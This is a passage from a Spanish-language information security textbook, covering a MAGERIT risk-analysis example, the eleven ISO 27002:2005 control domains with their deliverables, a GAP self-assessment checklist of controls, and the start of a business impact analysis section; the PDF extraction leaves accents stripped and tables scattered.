Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Servidor WEB

68

4.000

Figura 1-20: Tabulacin de activos.


En la figura 1-20 se muestran cuatro activos elegidos para este ejemplo: Imagen Organizacional, Bases
de datos, Desarrollo y servidor web.

Amenazas globales

Cdigo

Amenaza

Vulnerabilidad

Impacto

Activos

Riesgo Intrnseco

A1

Incendio oficinas

PF

0,003

90

2.476.000

6.685

A2

Danio de Hardware

EF

50

2.476.000

1.238.000

A4

Acceso a oficinas no autorizado

MF
FN

0,071

10

2.476.000

17.580

A3

No disponibilidad del Personal

0,005

10

2.476.000

1.238

9.904.000

1.263.503

TOTAL
Figura 1-21: Tabulacin de amenazas globales.

Aca se hace el anlisis de amenazas y la formula utilizada para calcular el Riesgo Intrinseco sera: Valor de los activos *
Vulnerabilidad * (Impacto/100) = Riesgo Intrinseco

Controles por amenaza

Dism. Vulnerabilidad

Dism. Impacto

Amenaza

Control

A1

S12

90

60

A2

S14

60

90

A4

S02

90

60

S04

60

60

S06

60

60

S08

A
A

90

90

90

60

A3

S10

Figura 1-22: Tabulacin de controles por amenaza.


Ahora relacionamos cada amenaza con su respectivo control/salvaguardas y asignamos un valor de
disminucin de la vulnerabilidad como disminucin del impacto por cada control/salvaguarda
asignado.

38

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Riesgo Efectivo por Activo


RIESGO EFECTIVO
AMENAZAS

Cdigo
90
51
22
68

Vulnerabilidad 0,003
Impacto (%) 90
Disminucin
de
Vulnerabilidad
(%)
90
Disminucin
Valor del Descripcin
de
Impacto
Activo
del Activo
(%)
60
2.100.000 Imagen Organizacional
227
72.000
Bases de datos
8
300.000
Desarrollo
32
4.000
Servidor web
0
RIESGO EFECTIVO POR AMENAZA
267

A4

A3

Acceso
a
Oficinas no
autorizado
No
disponibilida
d
de
Personal

A2

Incendio
Oficinas

Amenazas

A1

Danio
en
Hardware

ACTIVOS

1
50

0,071
10

0,005
10

60

99,84

90

90
42.000
1.440
6.000
80,0000
49.520

99,36
0,1527
0,0052
0,0218
0,0003
0,1800

60
42
1
6
0
50

RIESGO
EFECTIVO
POR
ACTIVO

42.269
1.449
6.038
81
49.837

Figura 1-23: Riesgo efectivo por activo.


Se calcula el riesgo efectivo por amenaza y por activo: Riesgo Efectivo = Riesgo Intrinseco * ( 1 Disminucion de la vulnerabilidad)*(1-Disminucion del impacto)

Lo que se debe mostar a la alta gerencia

Conclusiones Finales de la metodologa magerit

TOT

Valor de Activos

Riesgo
Intrnseco

Riesgo Efectivo

2.476.000

1.263.503

49.837

2.476.000

1.263.503

49.837

Figura 1-24: Datos a mostrar en la alta gerencia.


Para este ejemplo el riesgo intrinseco es de 51.03% del valor de los activos y el riesgo efectivo es de 2.01%

39

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

4.3

Conclusiones

La forma de conseguir el mayor beneficio en seguridad de la informacin es contar con una

4.4

Conclusiones

La forma de conseguir el mayor beneficio en seguridad de la informacin es contar con una


adecuada evaluacin de riesgos, que oriente las inversiones, que minimicen el impacto en casos de
incidentes
No importa la metodologa que se seleccione siempre se debe hacer anlisis de riesgos
La seguridad de la informacin no es una responsabilidad nicamente del rea de tecnologa debe
fluir desde la alta gerencia hacia todos los procesos de negocios
Un comit de seguridad de la informacin compuesto por cada jefe de rea genera mas compromiso
para hacer cumplir las polticas de seguridad de la informacin
Los recursos financieros de una organizacin deben invertirse de la mejor manera mirando siempre
el retorno de inversin

4.5

Evaluacin

4.5.1.

Defina vulnerabilidad?

4.5.2.

Defina Riesgo?

4.5.3.

Defina amenazas?

4.5.4.

En que se diferencia la norma ISO 17799 de la ISO 27002?

4.5.5.

Qu es ITIL, tiene relacin con la seguridad de la informacin?

4.5.6.

Qu es riesgo intrinseco?

4.5.7.

Que es riesgo efectivo?

4.5.8.

En que se diferencia la norma ISO 17799 de la ISO 27002?

4.5.9.

Qu es COBIT e ITIL, tienen relacin con la seguridad de la informacin?

40

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

4.5

Bibliografa

Maestra en seguridad informtica (http://www.uoc.edu), Daniel Cruz Allende


BCI (The Bussiness Continuity Institute) www.thebci.org
CRAMM www.cramm.com
esCERT http://escert.upc.edu
FIRST http://www.first.org/
ISO www.iso.org
ITIL http://www.itil.co.uk/
MAGERIT www.csi.map.es/csi/pg5m20.htm

41

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

5.

Modelo de seguridad de la informacin ISO IEC 27002:2005

Problemtica
A continuacin se listan las problematicas frecuentemente encontradas en las organizaciones:

No se ha hecho un Anlisis de Riesgos que permita determinar los riesgos, amenazas y


vulnerabilidades que puedan afectar la continuidad del negocio.

No se han definido las polticas de seguridad de la informacin dentro de la organizacin y por lo


tanto no existe un documento disponible para todos los funcionarios.

No existe un plan de inversin en seguridad


amenazas ms relevantes.

No hay suficientes controles concretos para disminuir los riesgos y amenazas contra la seguridad de
la informacin y los que existen son componentes bsicos de la infraestructura de computacional.

No hay anlisis de impacto del negocio (BIA) ni planes de contingencia que garanticen la
continuidad de las operaciones en caso de desastre.

Dado que no existe el anlisis de riesgos, no hay forma sistemtica de gestionarlos para
disminuirlos hasta un nivel razonable.

No hay gestin de los incidentes de seguridad de informacin.

No hay preparacin proactiva para cumplir con los mnimos requerimientos legales vigentes o en
proceso de los entes de control en cuanto a la seguridad de la informacin.

de la informacin que responda a los riesgos y

Propuesta de diseo del sistema de gestin en seguridad de la informacin


Para optimizar el monto de la inversin en relacin al tiempo de implementacin, este documento propone el
diseo y la implementacin de los controles mnimos y bsicos de la norma ISO IEC
17799:2005/27002:2005, estos son aquellos que toda organizacin ha de tener como mnimo para
mantener un nivel de seguridad apropiado, independientemente de sus caractersticas y sector econmico.
Esto no quiere decir que todas las organizaciones tengan que implantar estos controles de la misma forma,
sino que cada una, segn los riesgos ante los que se encuentre expuesta, debe implantar controles de forma
que le permitan reducir dichos riesgos. Ahora bien, todas ellas han de tener estos controles implantados.
Dentro de los controles bsicos, existen los siguientes bloques:
Controles legales. Son aquellos controles obligatorios para todas las organizaciones, ya que vienen
impuestos por una serie de legislaciones que estn vigentes y que son aplicables a todas ellas. Su
incumplimiento conlleva a sanciones locales.
Controles comunes. Controles que toda organizacin ha de tener implantados segn las caractersticas
de cada una de ellas (no todas las organizaciones de la misma manera), sin ellos, el sistema de gestin de la
seguridad de la informacin ser incompleto.
Estos controles servirn para tener un primer nivel de seguridad. En muchas ocasiones permiten, a cualquier
organizacin, minimizar los riesgos y los impactos que provocan los posibles incidentes de seguridad que se
puedan sufrir.
Entonces en concreto se sugiere determinar que partes o procesos de la organizacin pretenden ser
analizados o incluidos dentro del sistema de gestin de la seguridad de la informacin.
Para avanzar rpidamente en el proyecto y obtener resultados de corto plazo, lo mejor es definir los
procesos crticos de la organizacin, y establecer por lo menos para uno de ellos su SGSI (sistema de gestin
de seguridad de la informacin). Los dems procesos se pueden dejar para fases mucho mas avanzadas del
proceso.

42

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

El motivo de no incluir a la totalidad de la organizacin dentro del SGSI (al menos en las primeras etapas) es
que son procesos costosos que implican grandes cambios en la organizacin, sobre todo a nivel de la gestin
y de los hbitos del personal que se ve afectado. Por esta razn, cuanto menor sea este alcance, ms fcil
resultar la implantacin.
Se propone entonces elaborar el SGSI para un determinado proceso, el mas critico, el que genere mas
ingresos o afecte la misin principal de la organizacin. Una vez implantado y defindo como se puede
verificar y asegurar su correcto funcionamiento, se plantea ampliar su alcance e ir aadiendo nuevos
procesos dentro del SGSI.
De esta manera el costo y el esfuerzo son menores. Esto es un factor crtico de xito.
Se recomienda iniciar por el proceso que le produce los mayores ingresos a la organizacin, por ejemplo
para las compaas de seguros se recomienda iniciar con el proceso de produccin que es el que genera la
facturacin de la organizacin, luego de aprender con un nico proceso se debe aplicar la metodologa y la
experiencia adquirida al resto de procesos como reaseguros, recaudos, siniestros, etc.
La siguiente figura muestra los 12 grandes pasos que se deben dar para implementar un sistema de gestin
de seguridad de la informacin:

0
Analisi
s de
riesgo

9 Incidentes

3 Activos

6
Comun
icacion
es
Operac
iones

Figura 1-25: Los 11 dominios de la norma ISO 27002:2005.


La implementacin de la norma ISO 27002:2005 est dividida en 11 dominios que a su vez se subdividen en
39 objetivos que finalmente terminan en 133 controles. Ver figura 1-25.
Se pueden visualizar los dominios como grupos o etapas que idealmente se deben seguir en forma
secuencial pero no es mandatorio.
Todas estas partes o etapas deben estar acompaadas de capacitacin para transferir conocimientos a la
organizacin.

43

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Pasos para implementar los dominios de la norma ISO 27002:2005


Anlisis de riesgos: la base fundamental del sistema de gestion
Para la implantacin de un SGSI, hay que tener en cuenta que todas las medidas que se implementen en la
organizacin debern justificarse sobre la base del anlisis de riesgos que se haya realizado previamente.
Eso implica que si se decide no aplicar un determinado control de los que presenta la norma es porque el
aspecto que pretende garantizar no representa un riesgo elevado para la organizacin segn se ha concluido
a partir del anlisis de riesgos. Al mismo tiempo, la justificacin de implantacin del control debe hacerse
basndose en la necesidad de reducir alguno de los riesgos existentes en la organizacin.
Para aquellas organizaciones que pretendan certificar su SGSI, el anlisis de riesgos ser el elemento
fundamental que guiar al auditor, ya que ste intentar verificar que, con los controles que la organizacin
ha decidido implantar, se reducen todos los riesgos a los que sta se encuentra expuesta.
Los siguientes son los dominios de la norma o pasos que se deben seguir para implementar la norma
ISO27002:2005:

5.1

Poltica de seguridad de la informacin:

La poltica de seguridad tiene por objetivo aportar las directrices de la seguridad de la informacin de
acuerdo con los requerimientos especficos de la organizacin y con la legislacin vigente. La poltica de
seguridad es fundamental para la implantacin del resto de los controles propios de seguridad, ya que debe
ser el punto a partir del cual se desarrollen.
La poltica de seguridad de la informacin es el primer documento que las entidades de control buscan
cuando se est auditando un sistema de gestin, es relevante que todo el personal tenga acceso a este
documento y sobre todo que lo entiendan.
La poltica de seguridad establece quin est autorizado a acceder a qu tipo de informacin, y seala los
estndares y reglas que va a adoptar la organizacin y las medidas de seguridad que sern necesarias.
Entregable: Poltica de seguridad pblicada y firmada por la junta directiva.

5.2

Organizacin de la seguridad de la informacin:

Este control implica la creacin de un comit que supervisar los diferentes aspectos de la seguridad de la
informacin, es decir, ser el grupo que tendr el apoyo directo de la direccin de la organizacin y podr
decidir si el estado de la seguridad es el correcto o si, por el contrario, requiere algn tipo de cambio.
De la misma forma, tendr que garantizar que estos cambios estn fundamentados y que conseguirn una
mejora en la seguridad de la informacin. Este grupo de seguridad debera estar formado por las siguientes
personas:

Direccin
de la
Organizacin

rea
Tcnica

rea de
Informtica

rea
Contable

Comit de SGSI

Figura 1-26: Comit de SGSI.

44

rea
Financiera

rea de
Recursos
Humanos

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

El comit de gestin de la seguridad de la informacin debera estar formado, por lo menos, por un
miembro/representante de cada una de las reas de la organizacin en la que se pretenda implantar el
SGSI. Ver figura 1-26.
El comit de coordinacin de seguridad, al ser el que decide cmo se ha de implantar la poltica de seguridad
en la organizacin, tiene la mxima responsabilidad sobre dicha seguridad. Adems, ha de determinar si
conviene realizar cambios en este SGSI basados en indicadores de gestion.
Entregable: Un documento con la conformacin del comit, sus miembros y funciones.

5.3

Gestin de activos:

Este dominio trata de proteger el almacenamiento y el tratamiento de los activos que la organizacin
considera importantes para la realizacin de sus actividades. En esta etapa se establecen responsabilidades
sobre los activos y se clasifica la informacin basados en su confidencialidad.
Entregable: Un documento con la lista de activos y su clasificacin basados en las variables confidencialidad,
integridad y disponibilidad.

5.4

Seguridad Vinculada al personal:

La ingeniera social es un trmino que se ha venido asociando a la explotacin de vulnerabilidades del


recurso humano de las organizaciones, ya sea estas vulnerabilidades por accin o por omisin. Es clave
recordar que, por muchas medidas que se implanten a escala tcnica, la seguridad de una organizacin
depender mucho de la implicacin de sus trabajadores. Por ello es importante tener en cuenta las acciones
que stos puedan realizar. En este sentido, deberan implantarse controles de seguridad que abarquen todo
el ciclo de vida de los trabajadores, desde antes de entrar a trabajar hasta el momento o da en el que dejan
la organizacin.
Parte del entregable debe incluir un plan de capacitacin de las polticas de seguridad hacia los funcionarios
de la organizacin.

5.5

Seguridad fsica y del entorno:

En este dominio se hace referencia a todos los aspectos relativos a la seguridad fsica de la organizacin,
especialmente los destinados a reducir los riesgos de que se produzcan accesos no autorizados o
Interrupciones en las actividades de la organizacin. Se tratan desde los aspectos relativos a la seguridad
fsica de los edificios hasta la seguridad fsica de los equipos de la organizacin.
El entregable debe contener auditoras y mejoras a los controles actuales para mejorarlos.

5.6

Gestin de comunicaciones y operaciones:

Se tratan todos los aspectos relativos a la seguridad de las operaciones que se realizan en una organizacin.
No se hace un enfoque desde el punto de vista del modo ms seguro de trabajar, sino que trata de hacer
seguro aquello que cada organizacin ha decidido que es su manera propia de realizar las actividades.
Del mismo modo, este dominio contempla los posibles envos que se realizan desde la organizacin, ya sea
de software o de informacin, para poder disponer de los mecanismos adecuados para asegurar que estas
comunicaciones no provocan un incidente de seguridad.
Entregable: Documento con sugerencias y soluciones especificas ademas de la segregacin de funciones.

5.7

Control de acceso:

En este punto se trata de evitar que personal no autorizado pueda lograr el acceso a la informacin que se
est protegiendo, puede considerarse que este dominio se refiere a los accesos lgicos a la informacin.
Entregable: Documento de polticas con segregacion de roles y gestin de contraseas.

45

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

5.8

Adquisicin, mantenimiento y desarrollo de sistemas de informacin:

Se trata de ayudar a las organizaciones en todos los procesos de desarrollo de nuevas aplicaciones o del
mantenimiento de las vigentes, desde el punto de vista de los factores que cabe considerar para que estos
procesos sean seguros.
Es crtico en este paso el hacer gestin de vulnerabilidades tcnicas a las aplicaciones.
En este sentido se deberan realizar pruebas tcnicas como:

Anlisis de vulnerabilidades de
Anlisis de vulnerabilidades de
Pruebas de penetracin a cada
Revisin de configuraciones de

la red
aplicaciones
servidor de datos crticos
dispositivos de red

Entregable: Documento con el resultado de las pruebas tcnicas mostrando las vulnerabilidades y como
corregirlas.

5.9

Gestin de incidentes de seguridad de la informacin:

Los controles generados por los anteriores dominios no tratarn de evitar los incidentes de seguridad sino
que, en el caso de que sucedan, los podrn gestionar de manera que el impacto que puedan provocar sea el
mnimo posible.
Este paso genera un entregable de tipo plantilla para que el area de atencin de incidentes pueda manejarlos
en forma optima.
Entregable: Documento de tipo plantilla para que el rea de atencin de incidentes pueda manejarlos en
forma automatizada y con nfasis en los parmetros de seguridad: confidencialidad, integridad y
disponibilidad.

5.10

Gestin de la continuidad del negocio:

El objetivo de la seguridad de la informacin es evitar que las actividades propias de la organizacin se vean
interrumpidas por ninguna circunstancia. Por ese motivo, los planes de continuidad de negocio son
imprescindibles, independientemente del tamao de la organizacin: adems de las inversiones que sta
haya realizado en medidas de seguridad, tambin necesita tener establecido un plan de continuidad.
Estos planes de continuidad de negocio no slo tienen por objetivo tratar de evitar las interrupciones en la
actividad de negocio. Tambin intentan minimizar el tiempo de inactividad en el caso de que finalmente se
produzcan dichas interrupciones.
Los planes de continuidad de negocio equivalen a "Qu hacer en caso de que todo lo dems falle". Estos
riesgos son los catastrficos y generalmente el anlisis de riesgos no los profundiza.
Entregable: BIA o anlisis de impacto del negocio para los procesos ms crticos del negocio con su
respectiva propuesta de plan de continuidad.

5.11

Conformidad con la legislacin vigente:

Este ltimo dominio trata de garantizar el cumplimiento de la legislacin vigente y de las regulaciones que
afecten a la organizacin. Dentro de este dominio tambin se trata la necesidad que existe en una
organizacin de que se revisen las diferentes medidas de seguridad de la informacin que se han ido
desarrollando a lo largo de esta normativa.
Se debe revisar la proteccin de derechos de autor, se deben salvaguardar los registros de la organizacin
por los aos que indique la ley, se debe velar por la proteccin de los datos personales y de la intimidad de
las personas.
Finalmente se deben hacer auditorias tcnicas para evaluar si se est cumpliendo la norma, es decir se estn
haciendo pruebas tcnicas por ejemplo y con ms razn cuando se desea certificar el sistema de gestin
como propone este documento.

46

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Entregable: Documento con matriz de regulaciones contra cumplimiento de la organizacin para el segmento
de mercado.

6.0 Autoevaluacion antes de iniciar el diseo del SGSI


6.1 Anlisis GAP
Si al responder este formulario de tipo GAP se encuentra que menos del 90% de los controles de la norma
no han sido implementados, entonces lo mas probable es que el sistema evaluado no esta bien diseado y
probablemente no pasara una auditora si se desea alguna certificacin internacional como la
ISO27001:2005.
Documento
Version
Empresa
Fecha

:
:
:
:

AUTOEVALUACION PARA EL SGSI ACTUAL


2008-01.00
xxxxxxxxxxxxxxxxxxxxxx
xx-xx-xxxx

Control a evaluar

Dominios (12)

Objetivo (39)

Cumplimiento Auditoria
Tecnica

Control a evaluar (133)


Codigo

Anlisis
de
riesgos (01)

Anlisis
riesgos (01)

de

Documento reflejando los


riesgos (001)

010101

Poltica
de
seguridad de la
informacin
(02)

Poltica
de
seguridad (02)

Documento de la poltica
(002)

020101

Revisin
(003)

poltica

020102

Comit de gestin de la
seguridad (004)

030101

Coordinacin
seguridad (005)

la

030102

Asignacin
de
responsabilidades (006)

030103

Proceso de autorizacin de
recursos
para
el
tratamiento
de
la
informacin (007)

030104

Acuerdos
confidencialidad (008)

de

030105

Contacto con autoridades


(009)

030106

Organizacin
de la seguridad
de
la
informacin
(03)

Estructura interna
de seguridad (03)

de

47

la

de

%
Antes

%
Despues

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Partes
(04)

Gestin
de
activos (04)

externas

Responsabilidad
sobre los activos
(05)

Clasificacin de la
informacin (06)

Seguridad
Vinculada
al
personal (05)

Antes
de
ser
empleado (07)

Durante
su
contratacin (08)

Finalizacin
empleo (09)

del

Contacto
con
grupos
especializados
en
seguridad
de
la
informacin (010)

030107

Revisin independiente de
la
seguridad
de
la
informacin (011)

030108

Identificacin
de
los
riesgos asociados (012)

030201

Requisitos de seguridad
para terceros (013)

030202

Requisitos de seguridad
para outsourcing (014)

030203

Inventario
(015)

activos

040101

Propietarios de los activos


(016)

040102

Uso
aceptable
activos (017)

los

040103

clasificacin

040201

Marcado y tratado de la
informacin (019)

040202

Roles y responsabilidades
(020)

050101

Seleccin
(021)

personal

050102

Trminos y condiciones de
empleo (022)

050103

Formacin y educacin del


personal (023)

050201

Proceso disciplinario (024)

050202

Finalizacin
de
las
responsabilidades (025)

050301

Guas de
(018)

48

de

la

de

de

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Seguridad
fsica
y
del
entorno (06)

reas
(10)

seguras

Retornos de activos (026)

050302

Eliminacin de derechos de
acceso (027)

050303

Permetro de
fsica (028)

060101

seguridad

Controles
fsicos
entrada (029)

de

060102

oficinas,
recursos

060103

contra
ambientales

060104

Trabajar en reas seguras


(032)

060105

reas aisladas de carga y


descarga (033)

060106

Instalacin y proteccin de
equipos (034)

060201

Suministros bsicos (035)

060202

Seguridad
(036)

cableado

060203

Mantenimiento de equipos
(037)

060204

Seguridad de los equipos


fuera de la organizacin
(038)

060205

Seguridad
en
la
reutilizacin de equipos o
eliminacin
de
equipos
(039)

060206

Eliminacin
(040)

060207

Seguridad
despachos
(030)

Proteccin
amenazas
(031)

Seguridad
del
equipamiento
(11)

Gestin
de
comunicaciones

Procedimientos
operacionales y

en
y

del

de

Procedimientos de
operaciones

49

equipos

070101

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

y operaciones
(07)

Responsabilidades (12)

Documentados (041)

Gestin de la
entrega por
terceras
Partes (13)

Planificacin
de
los sistemas (14)

Gestin de cambios (042)

070102

Segregacin
(043)

070103

tareas

Separacin de entornos de
desarrollo, pruebas y
produccin (044)

070104

Servicio de entrega (045)

070201

Monitorizacin y revisin
de los servicios de las
terceras partes (046)

070202

Gestin de los cambios de


las
terceras partes (047)

070203

Gestin
(048)

de

Aceptacin
(049)

Proteccin contra
el software y
cdigo mvil (15)

de

la

capacidad

070301

de

sistemas

070302

Controles contra el
software
Malicioso (050)

070401

Controles contra el cdigo


mvil (051)

070402

Copias
de
seguridad (16)

Copias de seguridad (052)

070501

Gestin
de
seguridad de
red (17)

Controles de red (053)

070601

Seguridad de los servicios


de Red (054)

070602

Gestin
de
extrables (055)

soportes

070701

Eliminacin
(056)

soportes

070702

la
la

Gestin
de
soportes
de
informacin (18)

de

Procedimientos de

50

070703

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

utilizacin
de la informacin (057)

Intercambio de la
informacin (19)

Servicios
de
comercio
electrnico (20)

Monitorizacin
(21)

Control
de
acceso (08)

Seguridad en la
informacin de
los sistemas (058)

070704

Procedimientos y polticas
de intercambio
de informacin (059)

070801

Acuerdos
(060)

070802

de

intercambio

Seguridad fsica en los


soportes en trnsito (061)

070803

Mensaje electrnico (062)

070804

Comercio electrnico (063)

070901

Transacciones
(064)

lnea

070902

auditora

071001

Usos de los sistemas de


monitorizacin (066)

071002

Proteccin de los registros


de Informacin (067)

071003

Registros de administrador
y Operador (068)

071004

Registros de fallo (069)

071005

Sincronizacin
(070)

071006

Registros
(065)

de

Requisitos de
negocio para el
control de acceso
(22)

Poltica
de
acceso (071)

Gestin de acceso
de usuarios (23)

Registros
(072)
Gestin
(073)

en

de

control

de

de

51

relojes

de

080101

usuarios

080201

privilegios

080202

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Responsabilidad
de los usuarios
(24)

Control de acceso
en red (25)

Control de acceso
a los sistemas
Operativos (26)

Gestin de contraseas de
usuario (074)

080203

Revisin de los derechos


de acceso (075)

080204

Usos de las
(076)

contraseas

080301

Equipos
informticos
desatendidos (077)

080302

Poltica de usos de los


servicios de red (078)

080401

Autenticacin de usuarios
para conexiones remotas
(079)

080402

Autenticacin de usuarios
para conexiones remotas
Autenticacin de los nodos
de la red (080)

080403

Proteccin de puertos de
diagnstico Remoto (081)

080404

Segregacin
(082)

080405

de

redes

Controles de conexiones a
las Redes (083)

080406

Control de
direccionamiento de la red
(084)

080407

Procedimiento de
conexiones de terminales
(085)

080501

Identificacin y
autenticacin
de usuarios (086)

080502

Sistemas de gestin
usuarios (087)

de

080503

Usos de las prestaciones


de sistemas (088)

080504

52

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Control de acceso
a las aplicaciones
(27)

Informtica mvil
y teletrabajo (28)

Adquisicin,
mantenimiento
y desarrollo de
sistemas
de
informacin
(09)

Desconexin
automtica
de terminales (089)

080505

Limitacin
tiempo
conexin (090)

de

080506

Restriccin de acceso a la
informacin (091)

080601

Aislamiento de
sensibles (092)

080602

sistemas

Informtica
mvil
comunicaciones (093)

080701

Teletrabajo (094)

080702

Requisitos de
seguridad en los
sistemas
de
informacin (29)

Anlisis y especificaciones
de los requisitos de
eguridad (095)

090101

Seguridad en las
aplicaciones de
Sistemas (30)

Validacin de los datos de


entrada (096)

090201

Control del proceso interno


(097)

090202

Integridad
(098)

mensajes

090203

Validacin de los datos de


salida (099)

090204

Poltica sobre el uso de


controles
Criptogrficos (100)

090301

Gestin de claves (101)

090302

Controles
criptogrficos
(31)

Seguridad en los
ficheros/archivos
de sistema (32)

de

Control de software
explotacin (102)

en

090401

Proteccin de los datos de


prueba del sistema (103)

090402

Control de acceso al cdigo


fuente de los programas
(104)

090403

53

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Seguridad en los
procesos de
seguridad
y
soporte (33)

Gestin
de
incidentes
de
seguridad de la
informacin
(10)

Comunicaciones
de los incidentes
de seguridad y
debilidades (34)

Gestin de los
incidentes de
seguridad y
mejoras de
seguridad (35)

Gestin de la
continuidad del
negocio (11)

Conformidad
con
la
legislacin
vigente (12)

Gestin
de
la
continuidad (36)

Cumplimiento de
los requisitos
Legales (37)

Procedimiento de control
de Cambios (105)

090501

Revisin tcnica de los


cambios en el sistema
operativo (106)

090502

Desarrollo externalizado
de aplicaciones (107)

090503

Gestin de las
vulnerabilidades Tcnicas
(108)

090504

Comunicacin de
Incidentes de Seguridad
(109)

100101

Reportes de
vulnerabilidades de
Seguridad (110)

100102

Responsabilidades
procedimientos (111)

100201

Aprendiendo de los
incidentes de seguridad
(112)

100202

Recopilacin de evidencias
(113)

100203

Proceso de gestin de la
continuidad de negocio
(114)

110101

Continuidad del negocio y


anlisis de impactos (115)

110102

Redaccin e implantacin
de planes de continuidad
de negocio (116)

110103

Prueba, mantenimiento y
reevaluacin de los planes
de continuidad (117)

110104

Identificacin de la
legislacin Aplicable (118)

120101

Derechos de la propiedad
intelectual (119)

120102

54

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Salvaguardas de los
Registros de la
organizacin (120)

120103

Proteccin de los datos de


carcter Personal (121)

120104

Prevencin del mal uso de


los recursos de
tratamiento de la
Informacin (122)

120105

Reglamentacin de los
controles de cifrado (123)

120106

Cumplimiento con
las polticas
de seguridad,
estndares, y
cumplimiento
tcnico (38)

Conformidad con la poltica


de Seguridad (124)

120201

Comprobacin de la
conformidad Tcnica (125)

120202

Consideraciones
sobre las
auditoras de
sistemas (39)

Controles de auditoras de
sistemas (126)

120301

Proteccin de las
Herramientas de sistemas
(127)

120302

Figura 1-27: GAP para el SGSI ISO 27002:2005.

55

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

6.2.

El Cronograma

Debe existir un cronograma de actividades que permita saber si se estn cumpliendo los tiempos propuestos
para disear el SGSI, no debe olvidarse que la capacitacin en cada uno de los dominios de control es crtica
y se debe hacer en paralelo al trabajo de campo. Ver figura 1-28.

Control a evaluar

Dominios (12)

Objetivo (39)

Cumplimiento Auditoria
Tecnica

Control a evaluar (133)


Codigo

Anlisis
de
riesgos (01)

Anlisis
riesgos (01)

de

Documento reflejando los


riesgos (001)

010101

Poltica
de
seguridad de la
informacin
(02)

Poltica
de
seguridad (02)

Documento de la poltica
(002)

020101

Figura 1-28: Cronograma para hacer seguimiento.

56

Fecha
de
inicio

Fecha
impleme
ntacin

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

7.0

Planes de continuidad del negocio

7.1.

Analisis de impacto del negocio o BIA

La base de un Plan de Continuidad del Negocio o BCP es el BIA.

El BIA es el documento base de todo plan de continuidad del negocio, no hacer el BIA es como querer saber
dividir sin antes haber aprendido a sumar y restar. Si deseamos construir un puente o un edificio primero
debemos construir sus bases, por ejemplo imaginemos un edificio de 20 pisos sin una base antisismica, en el
primer temblor de tierra seguro que se fragmentaria o peor aun se desmoronara.

La base fundamental de un plan de continuidad del negocio o BCP es el BIA.

El BIA nos indica que procesos o reas de mi negocio son las ms crticas, el BIA nos dice que aplicaciones
son las que debemos llevar a un centro de cmputo remoto para procesar informacin el da que ocurra una
catstrofe o desastre.

El BIA nos indica da a da como se impacta el patrimonio de los socios cuando el riesgo catastrfico se
concreta.

El BIA no aplica para los riesgos que no sean catastrficos.

Un Plan de continuidad del negocio debe basarse en el BIA, si una entidad de control quisiera saber si el BCP
es frgil, o fue elaborado a ltima hora solo por cumplir una norma, entonces debe mirar cuan solido es el
BIA pues de este se parti para llegar al plan de continuidad del negocio.

Generalmente el informe BIA est compuesto por dos bloques que a la vez conforman otras partes, los
grandes bloques son uno gerencial y otro tactico, el bloque tctico tiene como objetivo dejar constancia en
detalle de los resultados del informe gerencial. Este detalle es clave si este informe gerencial fuera
cuestionado.

Especficamente el BIA determina el RTO y el RPO:


RTO:
Recovery Time Objective: Es el mximo tiempo permitido que un proceso puede estar cado como
consecuencia de un evento catastrfico.
RPO: Recovery Point Objective: Son los primeros datos que permiten volver a ofrecer el servicio. Identifica
si para la recuperacin del proceso que se haya visto afectado se necesita disponer de la informacin que se
tena justo antes de que sucediera el incidente, o si, por el contrario, se puede utilizar la informacin anterior
(hasta qu Momento: una hora, un da, dos das, ...)

Propuesta de contenido del BIA

Parte I: Alcance y Objetivos del BIA

Terminologa utilizada: Esta seccin no debe escribirse en ms de una pgina y debe contener los
trminos bsicos y elementales del BIA como son: Riesgo, anlisis de riesgos, Alta disponibilidad,
RTO, RPO, y todos los trminos especficos utilizados en este informe que le permita a cualquier
persona poder leer y entender este documento.

57

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Revisiones del documento: Contiene la fecha en que se reviso el BIA as como una descripcin
abreviada del cambio en el documento, la versin, quien lo genero o audito. Por ejemplo:
Versin

Descripcin del cambio

Revisado por

Fecha

Figura 1-29: Revisiones del documento BIA.

Objetivos: Define la intencin del BIA, el peor escenario, define los RTO por ejemplo:
Nivel RTO
1
2

Intervalo
Recuperacin
0 24 Horas
24 48 Horas

de

Figura 1-30: Niveles de RTO.

Alcance: Describe los subprocesos, procesos o reas en cuestin, y se indica en que zona geogrfica
residen los procesos bajo estudio.

Enfoque Utilizado: Describe si se utilizaron cuestionarios, como se distribuyeron hacia los dueos de
los procesos, Cuenta el numero de procesos encuestados, en qu fecha se hizo el BIA, quien
condujo el grupo de encuestadores.

Parte II: Respuestas de los encuestados

Respuestas de los encuestados y resultados: Resume como respondi la gente, pero no incluye,
nunca, los formularios o encuestas diligenciadas por los dueos de los procesos encuestados.

Resultados de cada proceso o de las Unidades de negocios: En esta parte se describe cada proceso
o unidad de negocio, informa quien realizo las encuetas, y adems muestra

la siguiente

informacin por cada proceso o unidad de negocio:

Proceso de negocio y RTO (Recovery Time Objective): Se tabula cada subproceso del proceso o
unidad de negocio con secuencia del subproceso, descripcin, y RTO (mximo tiempo permitido
antes de entrar en colapso)

Recursos requeridos por cada proceso de negocio: Se tabula cada subproceso del proceso o unidad
de negocio con secuencia del subproceso, aplicaciones necesarias, Equipo, registros vitales o
reportes, personas requeridas.

Procedimientos manuales de recuperacin: Se tabula cada subproceso del proceso o unidad de


negocio con secuencia del subproceso, procedimiento manual de solucin, % que se puede hacer
manualmente y RPO.

Impacto financiero identificado por cada proceso: Se tabula cada subproceso del proceso o unidad
